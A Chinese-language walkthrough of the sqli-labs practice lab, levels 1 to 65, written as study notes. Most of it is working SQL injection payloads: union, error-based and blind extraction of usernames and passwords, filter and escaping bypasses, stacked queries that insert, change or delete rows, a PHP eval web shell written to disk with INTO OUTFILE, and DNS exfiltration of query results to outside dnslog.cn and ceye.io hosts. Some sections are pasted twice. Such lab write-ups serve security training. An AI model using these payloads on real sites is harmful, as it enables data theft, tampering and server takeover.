1
判断是数字型还是字符型
SQL注入中判断数字型和字符型是关键的第一步。下面我用一个表格总结它们的核心区别和判断方法,让你能快速识别和测试。
| 特征点 | 数字型注入 | 字符型注入 |
|---|---|---|
| 定义 | 注入参数为整数,无需引号包裹,直接拼接至SQL语句 | 注入参数为字符串,需用单引号或双引号包裹 |
| 原始SQL示例 | SELECT * FROM products WHERE id = $input | SELECT * FROM users WHERE name = '$input' |
| 判断方法 | 1. 逻辑测试:id=1 AND 1=1(正常) vs id=1 AND 1=2(异常)2. 单引号测试: id=1' 正常显示 | 1. 逻辑测试:name=admin' AND '1'='1(正常) vs name=admin' AND '1'='2(异常)2. 单引号测试: id=1' 通常报错(字符串未闭合) |
| Payload构造 | 无需闭合引号,直接拼接逻辑运算符 例: 1 OR 1=1 -- | 需闭合引号并注释掉后续内容 例: ' OR '1'='1' -- |
| 常见场景 | URL参数(如 /news.php?id=1)、API接口(如 /api/user/123) | 登录表单(如 username=admin)、搜索功能(如 /search?keyword=test) |
- 向疑似注入点(如URL参数、表单字段)提交一个单引号
'或双引号"。- 如果页面返回SQL语法错误,这强烈表明输入点可能为字符型,因为引号破坏了SQL语句的完整性。
- 如果页面正常显示,则输入点可能为数字型(因为数字型参数通常不受引号影响),但也可能引号被过滤或处理了。
对网站进行传参时网页正常显示

测试and 1=2 发现网页不显示
此时使用order by 查询结果集有几列

可以看到当 4 的时候页面报错 说明此时结果集有3列

此时使用联合查询union select 1,database(),3 – = 查询数据库名

在information_schema这个表中查找 表名
http://sqli-labs:8989/Less-1/?id=50' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- =

判断列名

http://sqli-labs:8989/Less-1/?id=50' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- =

http://sqli-labs:8989/Less-1/?id=10' union select 1,username,password from users -- =
注入成功 找出密码
2
与第一关一样
3

输入?id=1’ 后发现闭合条件不满足 此时用’) 闭合前面 的 (
闭合条件为 ')
接下来的步骤和第一关一样
1.查数据库名 union select 1,database(),3 -- =
2.查表名 union select 1,group_concat(table_name),3 from information_schema.tables where table_name='security' -- =
3.查列名 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- =
4.查密码 union select 1,username,password from users
4
闭合条件 为 ‘’)
后面的步骤和前面一致
1.查数据库名 union select 1,database(),3 -- =
2.查表名 union select 1,group_concat(table_name),3 from information_schema.tables where table_name='security' -- =
3.查列名 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- =
4.查密码 union select 1,username,password from users
5.报错注入
报错注入函数 updatexml() floor() extractvalue()
floor报错注入
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
rand(0) 取随机数的函数 *2 只能在0 1 之间 取
floor() 取整函数 向下取整

http://172.22.6.165:8989/Less-5/?id=1' and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
之后过程和前面几关一样 构造payload

http://172.22.6.165:8989/Less-5/?id=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1 offset 3),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

http://172.22.6.165:8989/Less-5/?id=1' and (select 1 from (select count(*),concat((select username password from users limit 0 ,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

http://172.22.6.165:8989/Less-5/?id=1' and (select 1 from (select count(*),concat((select password from users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
updatexml 报错注入
updatexml的爆错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错由此报错。
payload
and updatexml(1,(concat(0x7e,(payload),0x7e)),1) -- =

?id=1' and updatexml(1,(concat(0x7e,(select database()),0x7e)),1) -- =

?id=1'and updatexml(1,(concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1 offset 1),0x7e)),1) -- =
offset可更改为,

爆内容
?id=1'and updatexml(1,(concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1 offset 1),0x7e)),1) -- =
limit offset
limit 显示有几行
offset 隔第几个结果显示 如 offset 0 则显示第一个
extravalue 报错注入
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为 连接 参数产生的字符串
payload:and extractvalue(null,concat(0x7e,(select @@datadir),0x7e)); --+

http://172.22.6.165:8989/Less-5/?id=1’ and extractvalue(null,concat(0x7e,(select database()),0x7e));–+

http://172.22.6.165:8989/Less-5/?id=1' and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'),0x7e)); -- =

http://172.22.6.165:8989/Less-5/?id=1' and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1 offset 4),0x7e));--+
爆列名

http://172.22.6.165:8989/Less-5/?id=1’ and extractvalue(null,concat(0x7e,(select password from users limit 1 offset 1),0x7e));–+
获取密码
6_双引号_字符型

http://172.22.6.165:8989/Less-6/?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1); -- =
和第五关一样 不过是把 过滤条件改为双引号
7.利用into_Outfile来写shell
这一关的标题要求我们用文件读写
文件读写注入条件
在配置文件中设置
secure_file_priv

my.ini
secure_file_priv=‘’
php的配置文件php.ini 关闭魔术引号
magic_quotes_gpc = Off
知道服务器的绝对路径
登录的账户具有root权限
读取文件
load_file()
例:select load_file(“D:/password.txt”) # 读取D盘下的password.txt文件
写文件
into outfile 路径
闭合条件为 '))

?id=1')) --+
使用into outfile 写入一句话木马
?id=1')) UNION SELECT null,null,'<?php @eval($_POST["attack"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\1.php"--+

此时页面报错

但是 一句话木马已经写到后门了
‘使用蚁剑连接

8.基于布尔的盲注
布尔盲注
闭合条件为 ’

字符型注入
payload;and (ascii(substr((select database()) ,1,1))) = 115–+

进入bp中爆破 爆破ascii值 前面的数字为 第几位是 后面的

以此慢慢推出数据库的名
推出表名 和 列名 方法同上
dnslog盲注
payload:

hex():将获取到的数据转化成16进制 因为返回的域名不能有=和,
观察我们的dnslog平台

?id=1' and load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema='security'),'.4fcjcc.dnslog.cn//volcano'))--+ //查表
?id=1' and load_file(concat('\\\\',(select hex(group_concat(column_name)) from information_schema.columns where table_name='users'),'.mat781.ceye.io//volcano'))--+ // 查列

?id=1' and load_file(concat('\\\\',(select password from users limit 0,1),'.mat781.ceye.io\\abc'))--+ //查密码
9.基于时间的盲注
函数if sleep()
payload:
?id=1' and if(1,sleep(5),1)--+
此时发现页面加载变慢 说明存在时间注入
同第八关 进行盲注
猜数据库名的长度
同第五关一样 进行爆破
进行爆破时 将时间打开 在爆破器中可以看到时间响应
判断注入类型
首先注入正确的参数,网页返回 “You are in…”,但是没有其他信息。
Copy Highlighter-hljs?id=1

接下来注入个查不到的参数,网页还是返回 “You are in…”。
?id=9999

注入个单引号进行闭合,网页还是返回 “You are in…”。
?id=1'

以下 3 种注入仍然还是返回 “You are in…”,说明此时网页不会回显任何有价值的信息。
?id=1'--+
?id=1"
?id=1"--+

转换思路,MySql 的 sleep() 函数能够起到休眠的作用。为了方便调试这里使用 brup 的重发器,注入如下参数响应时间没有异常。
?id=1 and sleep(1)--+

注入如下参数响应时间明显增加,并且主观上也能感受到延迟。这是明显的基于 时间盲注 的字符型 Sql 注入漏洞,我们需要使用 sleep() 函数制造时间差进行注入。
?id=1' and sleep(1)--+
获取数据库信息
注入流程与 Less 5 类似,不过这里的判断标准不是会显的信息,而是响应时间。MySQL 的 IF 语句允许根据表达式的某个条件或值结果来执行一组 SQL 语句,语法如下,当表达式 expr 为真时返回 value1 的值,否则返回 value2。
(expr, value1, value2)
此处因为无法回显任何东西,因此 ORDER BY 子句失效。我们使用 IF 语句结合 LENGTH() 函数对数据库名长度进行判断,如果猜测正确则令响应时间长一些。猜测数据库名长度小于 10 时响应时间超过,所以数据库名长度小于 10。
?id=1' AND IF(LENGTH(database())<10,sleep(1),1)--+

经过二分法测试,得出数据库长度为 8。
?id=1' AND IF(LENGTH(database())=8,sleep(1),1)--+

使用 left() 函数判断数据库名的第一位是否是字符 a,注入之后响应很快说明数据库名第一位不是 a。
?id=1' AND IF(LEFT((SELECT database()), 1)='a',sleep(1),1)--+

使用穷举法进行测试,得出数据库名的第一个字符为 “s”。
?id=1' AND IF(LEFT((SELECT database()), 1)='s',sleep(1),1)--+

接下来得出数据库名,再使用同样的方法继续爆破表名、字段名及其剩余信息。
?id=1' AND IF(LEFT((SELECT database()), 8)='security',sleep(1),1)--+

10.
和上一关一样用延时注入,只是闭合方式换成了"
延时注入 payload: if (1,sleep(2),1)
11.

输入单引号 发现 报错 此时判断有几个查询点

-admin' union select 1,database()#

爆表名
-admin' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security')#

爆列名
-admin' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#

-admin' union select 1,(select password from security.users limit 1 offset 1)#
查密码
12.
同11关 闭合条件改为双引号“
13._post_报错注入
闭合条件为 ')

payload:and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#
查表名 使用post方式
14.
同13关 闭合条件变为"
15.post方式下布尔盲注

passwd=admin&submit=Submit&uname=admin' and length(database())=8#

passwd=admin&submit=Submit&uname=admin' and (ascii(substr((select database()) ,1,1))) = 115 -- =
16.
同15关一样 闭合条件变为")
payload:
passwd=123456&submit=Submit&uname=admin") and length(database())=8#

17._从passwd中进行注入
源码中发现uname已经被函数check_input过滤,只能从passwd注入了:

有报错信息 使用报错注入
payload:
&passwd=admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

查数据库名
2
&passwd=1111' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1 offset 3),0x7e),1)#

查表名
3
uname=admin
&passwd=1111' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1 offset 4),0x7e),1)#
&submit=Submit

查列名
4

passwd=123456' and extractvalue(1,concat(0x7e,(select * from(select concat(username,':',password) from users limit 1 offset 1)x)))#
&submit=Submit
&uname=admin
由于无法查询更新的表 这里使用派生表x
查到密码
18.通过user-agent注入
1
输入用户名和密码 提交之后发现会显示ua头信息

2

找到注入点
3.

User-Agent:1 ' and extractvalue(1,concat(0x7e,database(),0x7e)) and'

4.

User-Agent:1 'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and'
5.

User-Agent: 1' and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1 offset 4),0x7e)) and'
查列名
6.

查密码
User-Agent:1 'and updatexml(1,concat(0x7e,(select password from users limit 1 offset 0)),1) and'
19.通过referrer注入
1.
输入用户名和密码时发现 回显有referrer信息

抓包试试

2.
进行报错注入

使用updatexml进行注入
Referer: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and'
注意后面也需要闭合

下面的步骤同卡面几关一样 不在赘述

Referer: 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and'
Referer: 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) and'
Referer: 1' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) and'
20.通过cookie注入
1.
输入用户名和密码

发现cookie信息


mingling Cookie: uname=admin' order by 4 #
2.
查表 查列 查密码 和之前步骤一样

payload:
Cookie: uname=' union select 1,2,(select group_concat(username,password) from users)#
查表 查列
Cookie: uname=' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')#
Cookie: uname=' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')#


21._通过cookie的base64加密
1
登陆进去发现cookie被加密了


解密 此时需要将payload进行 base64编码 进行注入
步骤和20关一样
2.
payload:
adminadmin') order by 3#
YWRtaW4=YWRtaW4nKSBvcmRlciBieSAzIw==
admin') union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')
YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwyLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5Jyk=
') union select 1,2,(select group_concat(username,':',password) from users)#
JykgdW5pb24gc2VsZWN0IDEsMiwoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSwnOicscGFzc3dvcmQpIGZyb20gdXNlcnMpIw==
22.
闭合条件变为"
payload:
" union select 1,2,(select group_concat(username,':',password) from users)#
IiB1bmlvbiBzZWxlY3QgMSwyLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCc6JyxwYXNzd29yZCkgZnJvbSB1c2Vycykj
23._no_comments_没有注释符
注释被过滤了
使用 ;%00替换注释
%00为null

1
http://172.22.6.165:8989/Less-23/
?id=-3' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') ;%00
或者采用闭合的方式
?id=' or extractvalue(1,concat(0x7e,database())) or'
2.和之前的步骤一样 查表 查列 查内容


?id=-3' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') ;%00
?id=-3' union select 1,2,(select group_concat(username,':',password) from users) ;%00
24.二次注入
| 步骤 | 普通SQL注入 | 二次SQL注入 |
|---|---|---|
| 第一步 | 在一次请求中直接提交恶意参数并立刻触发 | 存储:将恶意数据(如 <font style="color:rgb(0, 0, 0);">admin'#</font>)提交并存入数据库 |
| 第二步 | 即时发生,立刻看到结果 | 触发:等待程序在后续操作中调用之前存储的恶意数据,并拼接成SQL语句执行 |
| 特点 | 容易被防火墙和简单过滤拦截 | 隐蔽性强,因为存储阶段的数据看起来是“合法”的,绕过了一层防御 |
理解原理之后很容易进行
1.

注册一个账号 admin’# 密码 123456

更改密码时
admin'# 后面的句子会被注释掉 更改的实际上是admin的密码


使用admin 登录 密码为刚刚修改的密码
此时的代码执行为
UPDATE users SET PASSWORD='12345' where username='admin'#' and password='123456'
25.过滤_and_和_or
结合源代码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
看到and 和 or 仅过滤一次
1.
可以试试双写过滤

?id=-1' anandd 1=1 -- =
注入成功 剩下的步骤一样
?id=-1' anand order by 4 #

payload: (注:hackbar 中 注释符需要url化)
?id=' union select 1,2,group_concat(username,':',passwoorrd) from users;%00
25a.过滤了单引号’
和25关一样 将’转化为url编码格式
26._没有空格_没有注释符

$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
注释了 所有注释,and,or,空格,正反斜杠
and-> &&
or->||
payload

?id=' || extractvalue(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='security'))));
?id=%27%20||%20extractvalue(1,concat(0x7e,(select%20(group_concat(table_name))%20from%20(infoorrmation_schema.tables)%20where%20(table_schema='security'))));%00
步骤与之前报错注入一样
最终payload:

?id=%27%20||%20extractvalue(1,concat(0x7e,(select%20(concat(username,%27:%27,passwoorrd))%20from%20(users)%20where(id=1))));%00
?id=' || extractvalue(1,concat(0x7e,(select (concat(username,':',passwoorrd)) from (users) where(id=1))));
26a
多闭合了一个括号)
1.
观察源代码 发现闭合条件改变
SELECT * FROM users WHERE id=('$id') LIMIT0,1
盲注

判断数据库长度 之后和盲注步骤一样
?id=2')%26%26length(database())>5%26%26'1'=('1
27_过滤更多
查看源代码
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
union 和 select被过滤
注释绕过参考23关。这里select和union大小写敏感可以用大小写混写绕过(seLECt),或者用三写绕过因为只过滤了两次(selselselectectect),union绕过同理。由于只匹配了空格,可以用换行(%0a)绕过

payload:
?id=0'
unIOn
SeleCT
1,2,3;
?id=0%27%0aunIOn%0aSeleCT%0a1,2,3;%00

?id=0'
unIOn
SeleCT
1,(selECt
group_concat(username,':',password)
from
users),3;
?id=0%27%0aunIOn%0aSeleCT%0a1,(selECt%0agroup_concat(username,%27:%27,password)%0afrom%0ausers),3;%00
27a
和上关一样 闭合条件变为"

payload:
?id=0"%0auNIon%0aSelECt%0a1,2,(selECt%0agroup_concat(username,%27:%27,password)%0afrom%0ausers);%00
?id=0"
uNIon
SelECt
1,2,(selECt
group_concat(username,':',password)
from
users);
28.过滤union_select_整体
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
只过滤一次union select
可以使用 union union select select 绕过
同样的空格用%0a绕过

回显位
?id=0%27)%0aunion%0aseunion%0aselectlect%0a1,2,3;%00
?id=0')
union
seunion
selectlect
1,2,3;

payload:
?id=0%27)%0aunion%0aseunion%0aselectlect%0a1,2,(selECt%0agroup_concat(username,%27:%27,password)%0afrom%0ausers);%00
?id=0')
union
seunion
selectlect
1,2,(selECt
group_concat(username,':',password)
from
users);
28a
和28关一样
29.http污染
一、服务器(两层)架构简介
首先,让我们来了解一下服务器(两层)架构的基本概念。在这种架构中,服务器端通常由两部分组成:一个是以Tomcat为引擎的JSP型服务器,另一个是以Apache为引擎的PHP服务器。在实际运作中,真正提供Web服务的是PHP服务器。当客户端访问服务器时,首先能够直接访问到Tomcat服务器,然后Tomcat服务器再向Apache服务器请求数据。数据的返回路径则相反,即从PHP服务器返回给Tomcat服务器,最后由Tomcat服务器返回给客户端。
具体来说,当客户端发送一个形如index.php?id=1&id=2的请求时,Apache(PHP)服务器会解析最后一个参数 即id=2,而Tomcat(JSP)服务器则会解析第一个参数 即id=1。这意味着在返回结果中,可能会同时包含id=1和d=2的数据,但由于Apache(PHP)服务器的优先级更高,因此最终显示的结果id=2的数据。

闭合条件为’ 构造一个?id=1&id=2 tomcat(jsp)会解析第一个参数 而apache会显示第二个
payload:
login.php?id=1&id=-2' union select 1,2,3;%00

?id=1&id=-2' union select 1,2,database();%00
查库名


?id=1&id=-2' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security';%00
?id=1&id=-2' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users';%00
?id=1&id=-2' union select 1,2, group_concat(username,':',password) from users;%00
30.
和29一样 不过闭合条件变为"

payload:
?id=1&id=-2" union select 1,2, group_concat(username,':',password) from users;%00
31.
闭合条件为")

payload
?id=1&id=-2") union select 1,2, group_concat(username,':',password) from users;%00
32.GBK宽字节注入
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
观察源码 将 ’ 转义成 /’
将 " 转义成 /"
1.使用%df吃掉/

payload:
?id=-1%df' union select 1,2,3;%00
?id=-1%df%27 union select 1,2,group_concat(username, 1,password) from users;%00
此时url编码为 id=-1 %df%5c%27
在gbk编码中会将前两个字节当成一个汉字

33.
这关和上一关的区别是使用addslashes()函数过滤,它不仅能转义单引号、双引号和反斜杠,还能 对NUL 字符进行转义(即 ASCII为0)也就是%00会被转义。
payload:

?id=-1%df%27 union select 1,2,group_concat(username, 1,password) from users--+
注意 不能使用;%00当注释符了
34.post_gbk
同上面几关
这关使用 post方式提交

payload:
uname=admin%df' union select 1,database()#

uname=admin%df' union select 1,group_concat(username,password) from users#
35.数字型注入


payload:
?id=-2 union select 1,group_concat(username,password),3 from users#
36.
本关的过滤函数为mysqli_real_escape_string
还是宽字节注入

payload;
?id=-1%df%27 union select 1,2,group_concat(username, 1,password) from users --+
依旧过滤了 ;%00
能转义单引号、双引号和反斜杠,还能 对NUL 字符进行转义(即 ASCII为0)也就是%00会被转义。
payload:

?id=-1%df%27 union select 1,2,group_concat(username, 1,password) from users--+
注意 不能使用;%00当注释符了
34.post_gbk
同上面几关
这关使用 post方式提交

payload:
uname=admin%df' union select 1,database()#

uname=admin%df' union select 1,group_concat(username,password) from users#
35.数字型注入


payload:
?id=-2 union select 1,group_concat(username,password),3 from users#
36.
本关的过滤函数为mysqli_real_escape_string
还是宽字节注入

payload;
?id=-1%df%27 union select 1,2,group_concat(username, 1,password) from users --+
依旧过滤了 ;%00
37.post请求
和34关一样


payload:
uname=a%df' union select 1,group_concat(password) from users#&passwd=admin&submit=Submit
38.堆叠注入

可以在查到表名 列名 之后 进行注入

?id=99';insert into users(id,username,password)values(99,'chen','volcano')--+
插入成功
39._数字型堆叠注入

堆叠注入 更改密码

更改成功
payload:
?id=-99; update users set password='ican' where username='chen' --+
40.
闭合条件变为 ') 剩下的条件不变

payload:
?id=99'); update users set password='icanican' where username='chen' --+
41.数字型注入
数字型 和之前关卡一样

payload
?id=98; insert into users(id,username,password) values(98,'jinx','ekko') --+
42.
payload:


在输入密码处有注入点
-1';insert into users(id,username,password)values(97,'chen1','love')#
43.
和上一关的方法一样 闭合条件变为 ')
payload:

-1');insert into users(id,username,password)values(96,'chen2','love1')#
44.
没有报错提示 试试盲注
payload:

admin1';delete from users where username='chen1'#
登录不到chen1
被删除了
45.
和44关一样 闭合条件变为 ')
payload:
1');delete from users where username='chen2'#

46.sort注入

输入<font style="color:rgb(51, 51, 51);">?sort=1'</font>时报错 存在注入点



payload:
?sort=1 and updatexml(1,concat(0x7e,(select (group_concat(password)) from users),0x7e),1)
?sort=1 and updatexml(1,concat(0x7e,(select concat(password) from users limit 1 offset 5),0x7e),1)
47.
同46关一样
闭合条件变为 ’

payload:
?sort=1' and updatexml(1,concat(0x7e,(select concat(password) from users limit 1 offset 5),0x7e),1) --+
48.
盲注 通过 rand()函数
这关没有报错信息,尝试注入:
?sort=rand(true)
?sort=rand(false)


使用sqlmap来查注入点
sqlmap -u "http://172.22.6.165:8989/Less-49/?sort=1" --batch
sqlmap -u "http://172.22.6.165:8989/Less-49/?sort=1" -D security -T users --columns


49.
同样没有回显 使用sqlmap
sqlmap -u "http://172.22.6.165:8989/Less-49/?sort=1" --batch

50.堆叠注入

?sort=1
盲注得到表名和列名
注入自己的信息
payload
?sort=1; insert into users(id,username,password) values(22,'chenc','12345') ;--+
51
和50关一样 闭合条件为 ’

?sort=1'; insert into users(id,username,password) values(23,'knight','12345') ;--+
52.
没有回显 猜闭合方式


和之前关卡一样 都是堆叠注入
?sort=1; insert into users values(91,'chenca','cancan'); --+
54.
要在challenge库中破解密钥。
1
只有十次机会

?id=-1' union select 1,database(),3 --+

?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')--+

?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='v31wog8kgo') --+

?id=-1' union select 1,2,(select group_concat(secret_QBL2) from challenges.v31wog8kgo)--+
获得密钥 密钥是变化的

总的payload:
?id=1' order by 3 --+ //判断回显位
?id=1' union select 1,2,3 --+
?id=1' union select 1,database(),3 --+
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')--+
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='v31wog8kgo') --+
?id=-1' union select 1,2,(select group_concat(secret_QBL2) from challenges.v31wog8kgo)--+
55.
闭合条件为)

?id=-1) union select 1,database(),3 --+

?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+

?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='rcpqfhur23' --+

?id=-1) union select 1,2,group_concat(secret_AA2X) from challenges.rcpqfhur23 --+
payload:
?id=1) order by 3 --+
?id=-1) union select 1,database(),3 --+
?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='rcpqfhur23' --+
?id=-1) union select 1,2,group_concat(secret_AA2X) from challenges.rcpqfhur23 --+

56.
闭合条件变为 ')

?id=-1') union select 1,2,database()--+

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name=''--+

?id=-1') union select 1,2,group_concat(secret_UOB3) from challenges.6ms7q17ljg--+

57.
闭合条件为 "

?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='1b71o9652h'--+--+

?id=-1" union select 1,2,group_concat(secret_EY09) from challenges.1b71o9652h--+--+

58.
闭合条件为 ’ 有报错信息 使用报错注入

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),3) --+

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='')),3) --+

?id=1' and updatexml(1,concat(1,(select group_concat(secret_ATWA) from fkqpa5tl2t)),1) --+
59.
这关是数字型 报错注入

?id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

?id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='3wgxaqnsmv'),0x7e),1)--+

?id=-1 and updatexml(1,concat(0x7e,(select group_concat(secret_VEA4) from 3wgxaqnsmv),0x7e),1)--+

60.
闭合条件为 ")

?id=-1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

?id=-1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='skm1jtxfft'),0x7e),1)--+

?id=-1") and updatexml(1,concat(0x7e,(select group_concat(secret_WB7O) from skm1jtxfft),0x7e),1)--+
61.
闭合条件为 '))


?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='h19s1yabsr'),0x7e),1)--+

?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(secret_2SBJ) from h19s1yabsr),0x7e),1)--+

62.dnslog盲注
1.使用sqlmap找到注入点
-- 测试出来的注入模板:
?id=0') union select 1,2,('3
在dnslog.cn上面找一个免费域名
这就是表名

Payload 如下:
?id=1') union select 1,load_file(concat('\\\\',(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES'),'dns.cn/11')),('3
找到表名之后就好说了 因为返回的域名不能存在,和= 所以我们要将结果转化用hex()函数转化一下
payload
?id=1') union select 1,load_file(concat('\\\\',(select hex(group_concat(column_name)) from information_schema.columns where table_schema=' '),'..dnslog.cn/test')),('3

可以看到列名的hex值

解码一下 看到关键信息

?id=1') union select 1,load_file(concat('\\\\',(select hex(group_concat(secret_PDV7)) from otvl9h3yi8),'.qh2r4r.dnslog.cn/test')),('3

继续解码得到密码


63.
闭合条件为 ’
dnslog盲注
payload:

?id=1' union select 1,load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema='challenges'),'.mat781.ceye.io/test')),'3


?id=1' union select 1,load_file(concat('\\\\',(select hex(group_concat(column_name)) from information_schema.columns where table_name='cwnnacstm5'),'.mat781.ceye.io/test')),'3


?id=1' union select 1,load_file(concat('\\\\',(select hex(group_concat(secret_J9FX)) from cwnnacstm5),'.mat781.ceye.io/test')),'3



64.
闭合条件变为 ))



两种都行
?id=1)) union select 1,load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema='challenges'),'.mat781.ceye.io/test')),((3
?id=1)) and load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema='challenges'),'.mat781.ceye.io//volcano'))--+


?id=1)) and load_file(concat('\\\\',(select hex(group_concat(column_name)) from information_schema.columns where table_name='e3ks4i2cz3'),'.mat781.ceye.io//volcano'))--+



?id=1)) and load_file(concat('\\\\',(select hex(group_concat(secret_52OG)) from e3ks4i2cz3),'.mat781.ceye.io//volcano'))--+
65.
闭合条件为 ")

?id=1") and load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema='challenges'),'.mat781.ceye.io//volcano'))--+

?id=1") and load_file(concat('\\\\',(select hex(group_concat(column_name)) from information_schema.columns where table_name='n3k5u3zyuo'),'.mat781.ceye.io//volcano'))--+


